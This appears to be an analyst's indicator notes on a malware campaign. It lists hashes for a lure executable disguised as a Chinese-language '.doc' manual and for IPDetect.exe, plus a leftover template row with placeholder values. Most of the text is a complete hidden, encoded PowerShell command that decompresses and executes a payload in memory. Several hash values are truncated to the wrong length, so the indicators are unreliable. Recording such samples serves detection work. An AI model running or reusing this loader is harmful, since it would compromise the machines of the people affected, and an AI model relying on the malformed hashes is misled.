W i n d o w s

'name'

sha1sum:    123
md5sum:     123
sha256sum:  123
sha512sum:  123

重要通知附件-文件防泄密自查手册.doc.exe

sha1sum:    8f2847b2b41585f47a46161192af397802
md5sum:     1722b229b6596663f6f08aa654
sha256sum:  6b88286b240db5630c98d895fd188d079b4a88790dee601645afab7ae28cc578
sha512sum:  b415b68edcc8488f82f1dd9537640b35c22f4321f622cbac59f44fbe22ab36890a3ed13c1bf292c1e417f88ef9d72f79e810cbc114711ed00219304ea341303c

IPDetect.exe

sha1sum:    2ddfbfaed1d8b1a793d18a6f08608410f8eca736
md5sum:     c4cef8e325d90fbf95d1a947f8826ce0
sha256sum:  08521412d36fa28eff2ad96b0713b2aed15fbbab0c391deb2b2020a5a2323253
sha512sum:  b9621239dc3fa1193dd2de75a36710707a44cb1cfd1c7b9a57000aaf022e32942683048705a32f87337614d5b538f023eb5439fd0eafca57c02c81a0d539b062

PowerShell Malware

powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwBiAFgAUABhAE8AQgBEACsASABIADYARgBQAG0AVABHADkAZwBRAG8AQwBXAGsAUwBlAHAATwBaADgAbwA0ADUASQBDAFEAbQBDAFMAMQBsAEcAQwBIAEwAeABHAEEAcwBrAEcAUwBEAGEAZgB2AGYAYgAyAFYAagBTAHEALwBKAFgAVwBmAHUATQBzAE4ARQBsAG4AWgBYAHUAOAA4ACsAdQB5AHUATAB5AHAAdwBsAHUAVQB0AGsAbAA5AGsAVQA1AFoANABvAEYAeQA3AHoAMABVAFUAbQBjADEAcABqAHAAawBTADMANgBLAE8AVwBjAFEASwBmAFMATABXAHQARgBwAE0AWgBsAFoATQBWAFoAMgBTAEMAYgBaAHQAVABJAGQARABYAHoARQBrAGYAYwA3AHgARQArAG0AbQBJACsAVwBUAEoANwBNAEMAagBXAFIAUgAvAEsARQBGAHEAQgA1AHcAYQBKAHkAZQBaAGsAMwBnAHIAOABBAFYAMgA2AE0AVABIADAAZwAzAHAAWgBFAG4AbABDADcATQBGAFgASwBTAFAAeQBxAHQAVgBqAFMAMgB4ADYANAA4AC8AZgBLAGcARwBuAEYATgBmAEoAdAAvADUASgBwAFYAbABJAGUAaAB5ADYAcgBsAFUANgBBAGIANgBoAHAANQBmAEsASwBlADUAdQArAG0AYwBFAG8AbQArAG8AdABOAEoAdgB1AG0AeABLAGYAYgAyAFkAbABFAFYAawB4AGMASQBxAE8AegBiADYAcQB6AEQAQwBGAFkAUgA1AEsAMgBWADUAMABwAGQAKwAvAEoARgBNADAAYQA1ADgAMwBHACsAdgBnADYAdwBKADMAVABOAGkAbwBTAGsAeQA3AHoAdABlAFoAcQBCAHYAaAB2AHEAdwBrAEcAMABvAHIAcgBXAGQAUQBsAG4AZwBqAGsAeQAvACsAegA2AHgAWQB2ADgAWQArAHgAOQBMADMAYQArAG0ALwBpAHUARwBmAHYASQBaAGkAcwBNAGMAYgB3AGQAcABMAEsAYQA2AE8AZwBhAEwAUAB1AEEAVABUAG4AQgBVAE0AdQBpAGsAYgBwAHYATgBCADYAagBqAHcAZAB2AEgAZwBKAGYAdQBrAHUAYQBOADMAMQBKAE8AVgB0AFoAbABJAGMAdQBvAFMATABmAHcAcgA3AHQAMABRAGYAcQBnAEoAbwBtAEkASAAzACsAVABEAFAAQQBDAFUANQBsAHcASAAyAFUAKwBnAEoANgBJAFYAdABRAC8AZABRAFAAUABDADgATABkAGsAZQAvAGEAMwBlAHMAOQArAGcAbQBCAGYAZAAzAGwAZgBSAGoASgBaAEQAcQBTADIANQBrADkANQB6ADQASABUAGkANgBNAFcAOABTAGMAeABEAE8ATAA5ADQAZgBrAGMAdQBBAHYAMQA4AEkAWgBtAFMAKwBaADEANgBoAHEAawAwADkATwBzAE8AUwBUAGkAVABnAGUAOABUAFYAegBNAG4ASgBLAEYANQBTAGkARQBmAHYATQArAEgARwBlAHIAZQBvAGsARQBWAGQAYwBBAEoATAB4AGkATwBWAHoAZwBFAFAAcQBEAEgAKwBrAFoALwBrADIAbABSAFQAWgBOADgAMABkAEoANQBxADcAWABXAFMAOQBDAFIAKwAzAEsATABSAEUAMwBQAHQAYwBlAGIARQB5AE8AegBaAG8ALwBZAG4AMAA4AEQAMQBiAE0AcgBWACsAZAB2AFYAVQBLAE8ATwA2ADkATgBhADUATwBPAGwAUwAxAEwAQwA2ADYALwBsAGoARABvAGUAagBmAEgASQBwADIASQA5ADgARgBQAFgAOQBnAGYAVQByAHUAMwBSADAAUgBTAGcAbwAxAC8AVgA2AGsAdABYAEgAbgBRAHIAaQBYAE4AbABBAG4AawBYADQAQgBWAFEAdwB2AGoAWgBtAFMAUwBIAHUAbQBiADYAWABiAG8ARQAvAEoASgB2AG8ATwBtAHAAQQAyAFYARwBVACsAbAA5AGEAVQBYAHAANwBlAHAAYgBjAGIAbgBxAFkAUwBHAHkAcQBCADkAQQBuAFoATQBzAHMAaQBqADIAcQBKADEARgBaAFYAKwA0ACsANgBOAHkASQBGAG0AOAAxAEgANgA0ADIAdwAwADgANgBSAEkAcwBaAEcAcAB1AGIATAB3AEMANgBmADcAcQBLAHYATwBoAFkAZwBJAEMAMgBRAFUAWQBCAHQAYQBLAEUAaABkADcAQwBwAFUAcwBhAHIAawAyAHIAVQBTAFcATwAwAHQAZAAwAEYANwBGAHAASQBvADkARAAwAG8ATwBMAEkAVwBRAEUAOQBoAFIAVwBGAGgAUwBjAFkAYgBiADIAYgAvAHoAdwA4AGgAYgBWAEoAcgBMAGwAVQBlAFgASQBCADEAMwBvAFkAYQBIAFoAOQBCAHoAOQBoAFUAVgAwAHcAMwBQAHEASwAzADkAZwA5AHQAcABuAFMAUgBGAG8AYgBCAEsAUQBUAHAAeQBHAGcAaABnAGUAVQB4AG0AMABaAFAATABKAGYAUQAxAEwAZgBzAEwAOABmADYAYgBlAHoAKwAzAG0ASgAvAGMAcgBIAEsANgBUADYAUQBlAEYAKwBLAG8ARQBrAGwAVgBMAHIARQBrAFUAYwBQAGwAOQBvAEIAbABqAEIAeQBYAGcARgBxAEQAcwAyAFUARgBDADMAcAAxAGEAYwBWAHQAVABOAGUASwBOADgASABhAGoATAByAHoAKwB5AHYAZQByAEkAZQBOADEAcgBwAFYASAA4AEEAdgBoAEYAOQB4ADMAYQBoADMATwB1ADIASABWAGUAVwBoAFEAKwByAEIAWABiADkAVgBhAEQAdgBtAC8AVQAzAHQATQB0AGcARQBaAGoAQwBvAEYASQBxAE4AQQBzAGoAdAAxAHMAMgA2AFkANABaADMANwBOAE4ANQBzAEwAdwA4AHQAMQBkAG0AMgBJAE0AOQBjAGIAMQB1AGkAWgBvAFoAMQBzAHEAdABpAHoAVgByAFgATQAzAGMAMAB0ADUATwBvAG4AOAAvADMAWgB4AFAAaAAyAGIAagBlAHQAcABzAFgATABhAGUAUgBFAFAASgB0ADgAeQB3ADAAbABoAFgAUwB3AHoAVwA3ADgAeQB3AHkAdABxAGcAZAAzAE8AMQA4AGkAcwBiACsANQBMAFcAMgAxAGQAMAAyAEMARwBiAG8AcgB5AGgAZQBMAGEATgAvAG4AdwA2AHEAdwBlADkAOQBxAGUAQwBtAEgAYwBoAEIAcQB1ADAASQArADEAcQByADIAMABXADUAUABWAEwAcwBkAFkAcwA5AGoALwB2AEkAaQBiAG0AWgB0AFIANwBYAHcAOQBXAEUAVgBtAEkAKwBTAEkAaQBjAHkAdQA2AEcANwBRAGoAawBGAHMAcwBQAE0AdQBxAGIASwAyAEwAegA0AE4AMwBmAFkAZQBVAC8ARAB2AFcAMgA5AGgAdABzADkAagBvAFYAQQB0AGIAdQByAEYAMwBGADYAdQBnAE4AeAB3ADgATAB1AGEAVwBCAGYASgBYAHYATQBIAHUASAB2ADIAMQBhAE0ANAB1AHIAWQBBAE4ATgB5AFMARQAvAFgAUABMAHMAcgBjADIAQgBCAFkATwBvADAALwBGAFAAbQBiADIAaAB1AHoAaQAvAGEAaABiAGcANwB1AFAAegB3AEEAZgBVAGwAdwAzAGIAMQBvAFEAbAAxACsASgBPAG4AegB0AEUAcwBDAGMAdABMAHAAUgA1AHkAWABxAFcANwBGAE4AdQB4ADcATwBMADUAeAByAEIALwB3AHYAVwBHAGYAUAA1ADYAdABXAGkANQBUAFcASQBIAC8AMQBFAGwAWQBpAGcAUwA4ADkAcwByAEIASwBkADgAKwB6ADQAWgBDAFUANQBMAFoAVgAyAGYAVQA3AHAATABjAGoAeABWAGIAcABYAFcAMQBZAEcAbABoAGUAcgArAG0AYwBWADQAYgAzAG4AdgAzADgAMgBOAHAAVwBHAG8AdABHADEAZAB6AFYAaAAvAGEAVAB1AEYAVwBzAGMAaABpAEgATwBiAEYAVgB2AGYAYwBQAEIAUAA5AHoAbgBrAFEASAAzAGcAQgBiAGcASQBoAHEALwArAHoATQBVAFAAMwA3AGMARABJADYAMwBZADcAVABlAFgAdgA0AHoAawAyADMAWQBLADMANABYAG4ARQB3AFAAZwBuAHgARQBmAFAAZQBHAG0ASgBkAHoATQBVAEwAOQBvAEMAUgBNAEkAagBTAE4AdABKAGcAdgBMAEUAZgBKADMAMwBtAEsAZwAxAGQAZgAvADAARgB0AEsARABjAHAAeAA2ADgARAB1AEQAOQBrAEIAWgBmADIAZgBNAFkAVQBRAFAAdwBqAFUAawBFADQAegBnAFoAawBtAE4AbwBNAG8AKwB3AEwARgA2ADgAdQBqAEwAUQBRAFIAQwBtAFgAaABMAFQATgBIAEMAYwBlAEUAagBzAEkAMAB4AG4AWgBTAHIANAA0AGMATgBuAEMAQwA5ADcAQgBHAEsASAArAGoAUAA1AGsAawBXAEYAYgBiAEYAUQBLAEsAagAvAGwAdwBVAGoAOAAvAHUAdwBWAE4AawBxADAAZwAvAG0AcwBtAHAASQBIAG4AbAB5AGYASgBNAFgAMwAyAFQAcwAwAGUAZQBCAHYANgBUAC8AWQB3AEoAKwB1AHYAVABmAG8AVgBYAGcAeABYAFAAMgBBAEYAMwBzADAATwB0ADQARwBSAG4AdABZAHkAWgBqAE8AdQBoAG8AWAA3AGcANwBlAEUAWABTAE4AYgBxAEoAdQBTAGMAawA1AGoASQAzAFoAMQBOADQAYwBzAFkAOQBWAEQALwBGAEIAagBMAHIAUQAzAFMASwAwAFgAZQBVAGcALwBEAEsAbwBuAGcAQgA3ADAANAArAEMAMQBSAEQAUgBjAGsAegArAGgAdgBhAFkARABkAFIALwBJAFkAZQBLAEsASAB3AEQATQBxADEAMgBSAFIAWQBTAG0ARQB1AEsAdABPAHgARQBTAFUATQBlADMAOABCAFEAcQBmAHEAbQA1AGMATABBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA